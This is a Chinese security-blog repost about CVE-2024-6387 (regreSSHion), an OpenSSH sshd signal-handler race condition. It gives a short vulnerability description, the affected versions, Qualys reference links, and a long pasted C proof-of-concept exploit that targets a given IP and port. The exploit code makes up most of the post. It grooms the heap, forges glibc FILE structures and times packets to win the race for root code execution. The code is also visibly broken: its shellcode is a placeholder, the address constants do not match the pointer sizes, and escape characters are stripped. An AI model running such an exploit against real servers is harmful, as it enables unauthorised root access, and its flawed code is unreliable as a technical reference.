CVE-2024-6387|OpenSSH远程代码执行漏洞

渗透技巧 5个月前 admin
872 0 0



0x00 前言


OpenSSH是SSH(Secure SHell)协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcp ftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。


OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。


OpenSSH广泛用于基于Unix的系统,通常用于远程登录和远程文件传输,以及其他网络服务。



0x01 漏洞描述


默认配置下的OpenSSH Server (sshd)中存在信号处理程序竞争条件漏洞,如果客户端未在LoginGraceTime 秒内(默认情况下为 120 秒,旧版 OpenSSH 中为 600 秒)进行身份验证,则 sshd 的 SIGALRM 处理程序将被异步调用,但该信号处理程序会调用各种非async-signal-safe的函数(例如syslog()),威胁者可利用该漏洞在基于 glibc 的 Linux 系统上以root 身份实现未经身份验证的远程代码执行。



0x02 CVE编号


CVE-2024-6387



0x03 影响版本


8.5p1 <= OpenSSH < 9.8p1


OpenBSD系统不受该漏洞影响



0x04 漏洞详情


网传POC,自己辨别:

https://github.com/7etsuo/cve-2024-6387-poc    


/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author         : 7etsuo * Date           : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode        : Replace placeholder with actual payload. * 2. GLIBC_BASES      : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout      : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */
#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <time.h>
#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);
// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "x90x90x90x90";
int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);double measure_response_time (int sock, int error_type);void create_public_key_packet (unsigned char *packet, size_t size, uint64_t glibc_base);void create_fake_file_structure (unsigned char *data, size_t size, uint64_t glibc_base);void send_ssh_version (int sock);int receive_ssh_version (int sock);void send_kex_init (int sock);int receive_kex_init (int sock);int perform_ssh_handshake (int sock);
intmain (int argc, char *argv[]){ if (argc != 3) { fprintf (stderr, "Usage: %s <ip> <port>n", argv[0]); exit (1); }
const char *ip = argv[1]; int port = atoi (argv[2]); double parsing_time = 0; int success = 0;
srand (time (NULL));
// Attempt exploitation for each possible glibc base address for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lxn", glibc_base);
// The advisory mentions "~10,000 tries on average" for (int attempt = 0; attempt < 20000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 20000n", attempt); }
int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr, "Failed to establish connection, attempt %dn", attempt); continue; }
if (perform_ssh_handshake (sock) < 0) { fprintf (stderr, "SSH handshake failed, attempt %dn", attempt); close (sock); continue; }
prepare_heap (sock); time_final_packet (sock, &parsing_time);
if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc " "base 0x%lx!n", attempt, glibc_base); success = 1; break; }
close (sock); usleep (100000); // 100ms delay between attempts, as mentioned in the // advisory } }
return !success;}
intsetup_connection (const char *ip, int port){ int sock = socket (AF_INET, SOCK_STREAM, 0); if (sock < 0) { perror ("socket"); return -1; }
struct sockaddr_in server_addr; memset (&server_addr, 0, sizeof (server_addr)); server_addr.sin_family = AF_INET; server_addr.sin_port = htons (port); if (inet_pton (AF_INET, ip, &server_addr.sin_addr) <= 0) { perror ("inet_pton"); close (sock); return -1; }
if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0) { perror ("connect"); close (sock); return -1; }
// Set socket to non-blocking mode int flags = fcntl (sock, F_GETFL, 0); fcntl (sock, F_SETFL, flags | O_NONBLOCK);
return sock;}
voidsend_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){ unsigned char packet[MAX_PACKET_SIZE]; size_t packet_len = len + 5;
packet[0] = (packet_len >> 24) & 0xFF; packet[1] = (packet_len >> 16) & 0xFF; packet[2] = (packet_len >> 8) & 0xFF; packet[3] = packet_len & 0xFF; packet[4] = packet_type;
memcpy (packet + 5, data, len);
if (send (sock, packet, packet_len, 0) < 0) { perror ("send_packet"); }}
voidsend_ssh_version (int sock){ const char *ssh_version = "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1rn"; if (send (sock, ssh_version, strlen (ssh_version), 0) < 0) { perror ("send ssh version"); }}
intreceive_ssh_version (int sock){ char buffer[256]; ssize_t received; do { received = recv (sock, buffer, sizeof (buffer) - 1, 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0) { buffer[received] = ''; printf ("Received SSH version: %s", buffer); return 0; } else if (received == 0) { fprintf (stderr, "Connection closed while receiving SSH versionn"); } else { perror ("receive ssh version"); } return -1;}
voidsend_kex_init (int sock){ unsigned char kexinit_payload[36] = { 0 }; send_packet (sock, 20, kexinit_payload, sizeof (kexinit_payload));}
intreceive_kex_init (int sock){ unsigned char buffer[1024]; ssize_t received; do { received = recv (sock, buffer, sizeof (buffer), 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
if (received > 0) { printf ("Received KEX_INIT (%zd bytes)n", received); return 0; } else if (received == 0) { fprintf (stderr, "Connection closed while receiving KEX_INITn"); } else { perror ("receive kex init"); } return -1;}
intperform_ssh_handshake (int sock){ send_ssh_version (sock); if (receive_ssh_version (sock) < 0) return -1; send_kex_init (sock); if (receive_kex_init (sock) < 0) return -1; return 0;}
voidprepare_heap (int sock){ // Packet a: Allocate and free tcache chunks for (int i = 0; i < 10; i++) { unsigned char tcache_chunk[64]; memset (tcache_chunk, 'A', sizeof (tcache_chunk)); send_packet (sock, 5, tcache_chunk, sizeof (tcache_chunk)); // These will be freed by the server, populating tcache }
// Packet b: Create 27 pairs of large (~8KB) and small (320B) holes for (int i = 0; i < 27; i++) { // Allocate large chunk (~8KB) unsigned char large_hole[8192]; memset (large_hole, 'B', sizeof (large_hole)); send_packet (sock, 5, large_hole, sizeof (large_hole));
// Allocate small chunk (320B) unsigned char small_hole[320]; memset (small_hole, 'C', sizeof (small_hole)); send_packet (sock, 5, small_hole, sizeof (small_hole)); }
// Packet c: Write fake headers, footers, vtable and _codecvt pointers for (int i = 0; i < 27; i++) { unsigned char fake_data[4096]; create_fake_file_structure (fake_data, sizeof (fake_data), GLIBC_BASES[0]); send_packet (sock, 5, fake_data, sizeof (fake_data)); }
// Packet d: Ensure holes are in correct malloc bins (send ~256KB string) unsigned char large_string[MAX_PACKET_SIZE - 1]; memset (large_string, 'E', sizeof (large_string)); send_packet (sock, 5, large_string, sizeof (large_string));}
voidcreate_fake_file_structure (unsigned char *data, size_t size, uint64_t glibc_base){ memset (data, 0, size);
struct { void *_IO_read_ptr; void *_IO_read_end; void *_IO_read_base; void *_IO_write_base; void *_IO_write_ptr; void *_IO_write_end; void *_IO_buf_base; void *_IO_buf_end; void *_IO_save_base; void *_IO_backup_base; void *_IO_save_end; void *_markers; void *_chain; int _fileno; int _flags; int _mode; char _unused2[40]; void *_vtable_offset; } *fake_file = (void *)data;
// Set _vtable_offset to 0x61 as described in the advisory fake_file->_vtable_offset = (void *)0x61;
// Set up fake vtable and _codecvt pointers *(uint64_t *)(data + size - 16) = glibc_base + 0x21b740; // fake vtable (_IO_wfile_jumps) *(uint64_t *)(data + size - 8) = glibc_base + 0x21d7f8; // fake _codecvt}
voidtime_final_packet (int sock, double *parsing_time){ double time_before = measure_response_time (sock, 1); double time_after = measure_response_time (sock, 2); *parsing_time = time_after - time_before;
printf ("Estimated parsing time: %.6f secondsn", *parsing_time);}
doublemeasure_response_time (int sock, int error_type){ unsigned char error_packet[1024]; size_t packet_size;
if (error_type == 1) { // Error before sshkey_from_blob packet_size = snprintf ((char *)error_packet, sizeof (error_packet), "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3"); } else { // Error after sshkey_from_blob packet_size = snprintf ((char *)error_packet, sizeof (error_packet), "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9"); }
struct timespec start, end; clock_gettime (CLOCK_MONOTONIC, &start);
send_packet (sock, 50, error_packet, packet_size); // SSH_MSG_USERAUTH_REQUEST
char response[1024]; ssize_t received; do { received = recv (sock, response, sizeof (response), 0); } while (received < 0 && (errno == EWOULDBLOCK || errno == EAGAIN));
clock_gettime (CLOCK_MONOTONIC, &end);
double elapsed = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1e9; return elapsed;}
voidcreate_public_key_packet (unsigned char *packet, size_t size, uint64_t glibc_base){ memset (packet, 0, size);
size_t offset = 0; for (int i = 0; i < 27; i++) { // malloc(~4KB) - This is for the large hole *(uint32_t *)(packet + offset) = CHUNK_ALIGN (4096); offset += CHUNK_ALIGN (4096);
// malloc(304) - This is for the small hole (potential FILE structure) *(uint32_t *)(packet + offset) = CHUNK_ALIGN (304); offset += CHUNK_ALIGN (304); }
// Add necessary headers for the SSH public key format memcpy (packet, "ssh-rsa ", 8);
// Place shellcode in the heap via previous allocations memcpy (packet + CHUNK_ALIGN (4096) * 13 + CHUNK_ALIGN (304) * 13, shellcode, sizeof (shellcode));
// Set up the fake FILE structures within the packet for (int i = 0; i < 27; i++) { create_fake_file_structure (packet + CHUNK_ALIGN (4096) * (i + 1) + CHUNK_ALIGN (304) * i, CHUNK_ALIGN (304), glibc_base); }}
intattempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){ unsigned char final_packet[MAX_PACKET_SIZE]; create_public_key_packet (final_packet, sizeof (final_packet), glibc_base);
// Send all but the last byte if (send (sock, final_packet, sizeof (final_packet) - 1, 0) < 0) { perror ("send final packet"); return 0; }
// Precise timing for last byte struct timespec start, current; clock_gettime (CLOCK_MONOTONIC, &start);
while (1) { clock_gettime (CLOCK_MONOTONIC, &current); double elapsed = (current.tv_sec - start.tv_sec) + (current.tv_nsec - start.tv_nsec) / 1e9; if (elapsed >= (LOGIN_GRACE_TIME - parsing_time - 0.001)) { // 1ms before SIGALRM if (send (sock, &final_packet[sizeof (final_packet) - 1], 1, 0) < 0) { perror ("send last byte"); return 0; } break; } }
// Check for successful exploitation char response[1024]; ssize_t received = recv (sock, response, sizeof (response), 0); if (received > 0) { printf ("Received response after exploit attempt (%zd bytes)n", received); // Analyze response to determine if we hit the "large" race window if (memcmp (response, "SSH-2.0-", 8) != 0) { printf ("Possible hit on 'large' race windown"); return 1; } } else if (received == 0) { printf ( "Connection closed by server - possible successful exploitationn"); return 1; } else if (errno == EWOULDBLOCK || errno == EAGAIN) { printf ("No immediate response from server - possible successful " "exploitationn"); return 1; } else { perror ("recv"); } return 0;}
intperform_exploit (const char *ip, int port){ int success = 0; double parsing_time = 0; double timing_adjustment = 0;
for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++) { uint64_t glibc_base = GLIBC_BASES[base_idx]; printf ("Attempting exploitation with glibc base: 0x%lxn", glibc_base);
for (int attempt = 0; attempt < 10000 && !success; attempt++) { if (attempt % 1000 == 0) { printf ("Attempt %d of 10000n", attempt); }
int sock = setup_connection (ip, port); if (sock < 0) { fprintf (stderr, "Failed to establish connection, attempt %dn", attempt); continue; }
if (perform_ssh_handshake (sock) < 0) { fprintf (stderr, "SSH handshake failed, attempt %dn", attempt); close (sock); continue; }
prepare_heap (sock); time_final_packet (sock, &parsing_time);
// Implement feedback-based timing strategy parsing_time += timing_adjustment;
if (attempt_race_condition (sock, parsing_time, glibc_base)) { printf ("Possible exploitation success on attempt %d with glibc " "base 0x%lx!n", attempt, glibc_base); success = 1; // In a real exploit, we would now attempt to interact with the // shell } else { // Adjust timing based on feedback timing_adjustment += 0.00001; // Small incremental adjustment }
close (sock); usleep (100000); // 100ms delay between attempts, as mentioned in the // advisory } }
return success;}



0x05 参考链接


https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server


https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt




推荐阅读:


CVE-2024-28995|SolarWinds Serv-U任意文件下载漏洞(POC)


CVE-2024-23692|Rejetto HFS 2.x 远程代码执行漏洞(POC)


CVE-2024-24919|CheckPoint Gateway任意文件读取漏洞(POC)




Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持CVE-2024-6387|OpenSSH远程代码执行漏洞!!!



      本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。

CVE-2024-6387|OpenSSH远程代码执行漏洞


原文始发于微信公众号(信安百科):CVE-2024-6387|OpenSSH远程代码执行漏洞

版权声明:admin 发表于 2024年7月1日 下午7:45。
转载请注明:CVE-2024-6387|OpenSSH远程代码执行漏洞 | CTF导航

相关文章